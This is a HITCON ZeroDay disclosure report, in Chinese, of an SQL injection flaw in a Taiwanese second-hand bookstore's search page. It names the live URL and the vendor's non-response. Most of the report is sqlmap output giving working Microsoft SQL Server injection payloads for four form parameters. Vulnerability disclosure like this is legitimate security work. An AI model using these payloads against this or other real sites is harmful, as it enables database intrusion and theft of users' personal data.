茉莉二手書店 SQL Injection 漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00813
  •  發信 Vendor: 茉莉二手書店
  • Title: 茉莉二手書店 SQL Injection 漏洞
  • Introduction: SQL Injection

處理狀態

目前狀態

公開
Last Update : 2019/10/13
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2019/08/13 03:32:05 : 新提交 (由 tmp 更新此狀態)
  • 2019/08/13 03:56:57 : 新提交 (由 tmp 更新此狀態)
  • 2019/08/13 21:54:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/27 01:31:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/27 01:31:48 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/27 01:31:48 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/10/08 10:31:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/10/13 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00813
  • 通報者:CSY54 (tmp)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.mollie.com.tw/Mobile/Books.asp

敘述

  1. 在欄位嘗試填入單引號發現錯誤訊息並未關閉
    圖片

  2. 使用 sqlmap 掃描

    ---
    Parameter: Publisher (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=' AND 7136=(SELECT (CASE WHEN (7136=7136) THEN 7136 ELSE (SELECT 1455 UNION SELECT 6022) END))-- HrEp&BarCode=&XCHK=Y
    
        Type: error-based
        Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=' AND 7206 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (7206=7206) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- RONx&BarCode=&XCHK=Y
    
        Type: stacked queries
        Title: Microsoft SQL Server/Sybase stacked queries (comment)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=';WAITFOR DELAY '0:0:5'--&BarCode=&XCHK=Y
    
        Type: AND/OR time-based blind
        Title: Microsoft SQL Server/Sybase time-based blind (IF)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=' WAITFOR DELAY '0:0:5'-- tbje&BarCode=&XCHK=Y
    
    Parameter: BarCode (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=' AND 2155=(SELECT (CASE WHEN (2155=2155) THEN 2155 ELSE (SELECT 7604 UNION SELECT 2855) END))-- iMdA&XCHK=Y
    
        Type: error-based
        Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=' AND 1257 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (1257=1257) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- HEjg&XCHK=Y
    
        Type: stacked queries
        Title: Microsoft SQL Server/Sybase stacked queries (comment)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=';WAITFOR DELAY '0:0:5'--&XCHK=Y
    
        Type: AND/OR time-based blind
        Title: Microsoft SQL Server/Sybase time-based blind (IF)
        Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=' WAITFOR DELAY '0:0:5'-- mLDa&XCHK=Y
    
    Parameter: Author (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
        Payload: Action=BookSerach&BookName=&Author=' AND 9658=(SELECT (CASE WHEN (9658=9658) THEN 9658 ELSE (SELECT 6522 UNION SELECT 4359) END))-- HVkO&Publisher=&BarCode=&XCHK=Y
    
        Type: error-based
        Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
        Payload: Action=BookSerach&BookName=&Author=' AND 5853 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (5853=5853) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- QWEb&Publisher=&BarCode=&XCHK=Y
    
        Type: stacked queries
        Title: Microsoft SQL Server/Sybase stacked queries (comment)
        Payload: Action=BookSerach&BookName=&Author=';WAITFOR DELAY '0:0:5'--&Publisher=&BarCode=&XCHK=Y
    
        Type: AND/OR time-based blind
        Title: Microsoft SQL Server/Sybase time-based blind (IF)
        Payload: Action=BookSerach&BookName=&Author=' WAITFOR DELAY '0:0:5'-- PVac&Publisher=&BarCode=&XCHK=Y
    
    Parameter: BookName (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
        Payload: Action=BookSerach&BookName=' AND 7865=(SELECT (CASE WHEN (7865=7865) THEN 7865 ELSE (SELECT 1785 UNION SELECT 6143) END))-- DoNL&Author=&Publisher=&BarCode=&XCHK=Y
    
        Type: error-based
        Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
        Payload: Action=BookSerach&BookName=' AND 3069 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (3069=3069) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- EaSL&Author=&Publisher=&BarCode=&XCHK=Y
    
        Type: stacked queries
        Title: Microsoft SQL Server/Sybase stacked queries (comment)
        Payload: Action=BookSerach&BookName=';WAITFOR DELAY '0:0:5'--&Author=&Publisher=&BarCode=&XCHK=Y
    
        Type: AND/OR time-based blind
        Title: Microsoft SQL Server/Sybase time-based blind (IF)
        Payload: Action=BookSerach&BookName=' WAITFOR DELAY '0:0:5'-- BnbR&Author=&Publisher=&BarCode=&XCHK=Y
    ---
  3. 獲取資料庫名稱
    圖片

修補建議

過濾使用者輸入

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;